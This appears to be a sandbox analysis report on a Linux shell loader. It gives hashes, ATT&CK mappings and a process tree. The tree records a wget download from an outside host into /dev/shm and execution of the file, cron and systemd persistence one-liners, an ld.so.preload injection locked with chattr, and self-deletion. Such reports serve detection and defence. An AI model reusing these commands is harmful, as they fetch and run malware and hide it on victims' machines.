da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9

Analysis

max time kernel
174s
max time network
170s
platform
debian-9_mips
resource
debian9-mipsbe-20260126-en
resource tags

arch:mipsimage:debian9-mipsbe-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
19/04/2026, 07:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.sh
Size 1KB
Sample260419-jkd6nabs21
SHA256 da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9
MD5 375cdcc505375d4be794c23a242330c7
SHA1 792c347ac0bf19658659a5570b7e79457f680c8d
SHA512 dd1c03f87ca161adfc1669d12a0af913a85838b76b12ec4db418303951e64e7f408082fd70f22ce76e85fb09de338536aa814948478b386e130427a7f389c2a2
TLSH
T16441ACCA7AA3D97297C7C4381FDAF501E35624430995ADA8B09EBC303F69120FCB1E56
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/dev/shm/.kswapd0	748	loader.sh
/dev/shm/.kswapd0	758	.kswapd0
/dev/shm/.kswapd0	767	setsid

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	9.9.9.9
Destination IP	1.0.0.1

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.V4UPvw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.c6W9mb	crontab

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	netd-uhm9	763	.kswapd0

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.kswapd0
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.kswapd0
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.kswapd0

Reads runtime system information 21 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/exe	.kswapd0
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/exe	.kswapd0
File opened for reading	/proc/self/exe	.kswapd0
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	crontab

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.kswapd0	wget

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

/tmp/loader.sh
/tmp/loader.sh
1⤵
- Executes dropped EXE
PID:710
- /bin/uname
  uname -m
  2⤵
  PID:715
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:716
- /usr/bin/od
  od -to2
  2⤵
  PID:719
- /usr/bin/awk
  awk "{print \$2; exit}"
  2⤵
  - Reads runtime system information
  PID:720
- /bin/grep
  grep -q 49
  2⤵
  PID:721
- /bin/rm
  rm -f /dev/shm/.kswapd0
  2⤵
  PID:730
- /usr/bin/wget
  wget -qO /dev/shm/.kswapd0 https://tg-xxooxx888.8964.mom/bins/kswapd0
  2⤵
  - Writes file to shm directory
  PID:732
- /bin/chmod
  chmod +x /dev/shm/.kswapd0
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /dev/shm/.kswapd0
  /dev/shm/.kswapd0
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:748
- - /dev/shm/.kswapd0
    /dev/shm/.kswapd0
    3⤵
    - Changes its process name
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:758
  - - /bin/sh
      sh -c "(V_ROLE=guardian V_GUARD_PID=758 setsid /dev/shm/.kswapd0 >/dev/null 2>&1 &)"
      4⤵
      PID:765
  - - /bin/systemctl
      systemctl show -p FragmentPath sshd.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:768
  - - /bin/systemctl
      systemctl daemon-reload
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:774
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:787
  - - /bin/bash
      bash -c "(crontab -l 2>/dev/null; echo '* * * * * pgrep -x .kswapd0 > /dev/null || /dev/shm/.kswapd0 > /dev/null 2>&1 &') | crontab -"
      4⤵
      PID:788
    - - /usr/bin/crontab
        
        crontab -
        5⤵
        Creates/modifies Cron job
        Reads runtime system information
        
        PID:790
    - - /usr/bin/crontab
        
        crontab -l
        5⤵
        Reads runtime system information
        
        PID:791
  - - /bin/systemctl
      systemctl enable --now systemd-net-7f29d5.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:792
  - - /bin/bash
      bash -c "(crontab -l 2>/dev/null; echo '* * * * * bash /var/tmp/.sys_e7055b3a/.svc_6ed3cf.sh > /dev/null 2>&1') | crontab -"
      4⤵
      PID:807
    - - /usr/bin/crontab
        
        crontab -
        5⤵
        Creates/modifies Cron job
        Reads runtime system information
        
        PID:809
    - - /usr/bin/crontab
        
        crontab -l
        5⤵
        Reads runtime system information
        
        PID:810
  - - /usr/bin/chattr
      chattr +i /etc/systemd/system/systemd-net-7f29d5.service
      4⤵
      PID:811
  - - /usr/bin/chattr
      chattr +i /var/tmp/.sys_e7055b3a/.svc_6ed3cf.sh
      4⤵
      PID:812
  - - /usr/bin/chattr
      chattr +i /etc/ld.so.preload
      4⤵
      PID:813
  - - /usr/bin/chattr
      chattr +i /lib/libsys_5d31b4.so.2
      4⤵
      PID:814
- /usr/bin/realpath
  realpath /tmp/loader.sh
  2⤵
  PID:749
- /bin/rm
  rm -f /tmp/loader.sh
  2⤵
  PID:750

/usr/bin/setsid
setsid /dev/shm/.kswapd0
1⤵
- Executes dropped EXE
PID:767

/dev/shm/.kswapd0
/dev/shm/.kswapd0
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:767

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cache_a9123c

Path /dev/shm/.cache_a9123c
Size 4B
SHA256 004a9e0878ff83e6b91f50d50dad439d2065c6cbb0d20f1f328b2fd75e085d6a
MD5 6c010c37f79973d02f1067604ef21513
SHA1 8e007eaa50596962d906691a8918a5553b30ff22
SHA512 1473f27bb99e3072d1f881d6c2745e8f87bc2faabac8e69c33f2143513a3c998133c6494c4e5706946b031700f54a5362bb2d83c0942a918b43b30169ce1da3b
MD5 SHA1 SHA512

Submit Download

.kswapd0

Path /dev/shm/.kswapd0
Size 1.7MB
SHA256 74cefabce692f8a2be4d85e0082683e300b7170059b8becb89f1f17eee2f938e
MD5 6a5720968bbb94d478147a0f5b84e81e
SHA1 cd18d9840184b75578cac026b9e8b1a9e40f24f0
SHA512 47fc0d39698e640a4f2b78a785438424fbfea0e8f8435c74d4bdc6435da689f799bf97a019d7a968b9a73e42b36683e6bc01a2877fbe5097945c317032173860
SSDEEP 24576:rw4rU/G2GecdLh26Cd0Y3p3/TbKH8+PPVQ766uwBT7vIa95evv+bJTq0cCVxU7ie:rJpsECCqpvTIPVD8tUa+X+bJTq0c6e7J
TLSH
T18585338AF3BB07B1B44AFF756B35C558AC955E7801F07433CE46503A1A2A93E530B98B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ld.so.preload

Path /etc/ld.so.preload
Size 24B
SHA256 c9938f0a267a7b1b2bef14e71c069280297a71efe32e1b6ce67a3833fb6e1ec0
MD5 f68f695e143bfc8e9b8ef9b703c45e45
SHA1 7facc260c2f31f60213492cb9009c9bf9afbbbd0
SHA512 71243da5ea5500402554fa4625342f1f13d388ca01d4db4a1d3a0b9fc70fd0908f3a0e60888c0e88900ac42585573791c362a12f199b3ab6a05e70a29817d8c1
MD5 SHA1 SHA512

Submit Download

systemd-net-7f29d5.service

Path /etc/systemd/system/systemd-net-7f29d5.service
Size 192B
SHA256 d58a1389081b78989152e7ddbd138975102357e218dfaa7070aff4722826e1fd
MD5 ee264da61d633d400c29ca2bfccc06d8
SHA1 ba62d5dfcc3234b4a1236c1685452cd153f20ba7
SHA512 e8e8710d39f1b1bd9041c19fd3a40425699e50ac52d30c3cfa9630d09319064372a0c0d7d51dac9868c05dbfe6374bdcac961fc3c6ead5f77a344fee4feaf19c
TLSH
T163C022A35A2420949CC612B7BB7A7F0088204081CA9DA9B08AD14C3820E2188822706D
MD5 SHA1 SHA512 TLSH

Submit Download

libsys_5d31b4.so.2

Path /lib/libsys_5d31b4.so.2
Size 15KB
SHA256 ed3e4c0be98a5c993814db590ab3e93d582eb6771275b6c3123d7454bc7f6183
MD5 af446bda6c8b63419546fbcab7474489
SHA1 cee7e3642507f4d569cdbef74555455730c9bbb4
SHA512 27a78d4961ae62deee014c975634b5c9491a3398bf16df2a851312d50e48cd29e15d938f69899b87e7de23fdccbbf0ef246bd8c5f4894e24825c90b46589b718
SSDEEP 192:R2MrF20sE8UMkc0avE8UMkc0al41xbuSee:8oF20sE8UMkc0avE8UMkc0al41xbU
TLSH
T1BB62F21FE751CE3EC4D89231864F922163B2D4B4DB3103171E64D9BB2D973980EB9E15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.wget-hsts

Path /root/.wget-hsts
Size 176B
SHA256 30e57cd1f33943f644c5a71d4aa94ad15d054970ef6cc12d1e6e2dd5e110b90e
MD5 792873522b8d452541aeb4ed90b2aa5e
SHA1 0a3e2be96d9bea919e0f50791e7865a1bb6dfa0d
SHA512 c2bed3df0bf50440283fdc7b009bf29b6271f5cab77ed1a80ea4a436d8b2f3a8fdbe029859adaec22dad3f14201deac318fbb65da3635b5b9746771312e4c8e9
TLSH
T12DC0C02BA004E200004005F0F083390E31D5F11427901C8D4C0A83302528100F8D1C1C
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.V4UPvw

Path /var/spool/cron/crontabs/tmp.V4UPvw
Size 255B
SHA256 e1acf1a06c94c746c8013e7c1d98adf0adfecc5778444b27c25e3f68f88f2ad4
MD5 d0063b7168d63de43c4ef158138a075f
SHA1 abf2ea9e2e663a5b547383fdde1a2c522e137572
SHA512 ce8c4a9a569d84c279b43baa1643513493f7fb642c38d7f50d8c6a74d9f270441af37a10b177648abdcd91f35dba85308b54dd8edfd7ad81f077013b7320f52d
TLSH
T18CD02B3567509C347D481718455B64159A82A53A405E9E10F19E5410024D74BE611A32
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.c6W9mb

Path /var/spool/cron/crontabs/tmp.c6W9mb
Size 325B
SHA256 ab367b5c76330ca40b9c33d3f4cf397734f4f3ca240880cae07b82f1f69c9080
MD5 0462caf0f8fb0227ae56d7a02ec8dec1
SHA1 22ddc2f20def004037b1ac72ecf7d4e3b8e8b2df
SHA512 8dae98b5b963c28a85becc84060f2ed617d7a4d70b99227248f8163e76cf6b0d7ac8026258127103012bc4b925b197637ed0a0b5af514d7dfc2f8cc38f3a96b6
TLSH
T165E07D7566609C3D7D881B38519FB41B9E83A435403DDE50F1DF5424524E30FF722A32
MD5 SHA1 SHA512 TLSH

Submit Download

.svc_6ed3cf.sh

Path /var/tmp/.sys_e7055b3a/.svc_6ed3cf.sh
Size 261B
SHA256 7d6af96a3f2bfa7a6ec1218804ca9da9914aef7b8abb5c841e83e8d242516847
MD5 4f33b909f8b1f6844d574c7bed878f7f
SHA1 349bf98c61aef7d2ad90ef038becf1ed7f8e8026
SHA512 6e47c5224ada73b2eb5380723c6b06c48d8148f7968744e363f548c32fce70b7d75383fb7176ccd465c91f8817d35e95fc33b446bc420f235a1ee15e9aa0c761
TLSH
T1D9D02B81400406D8AF9E0C0A74670CE78046F52819519BDE70C324DB118AC28A091F30
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads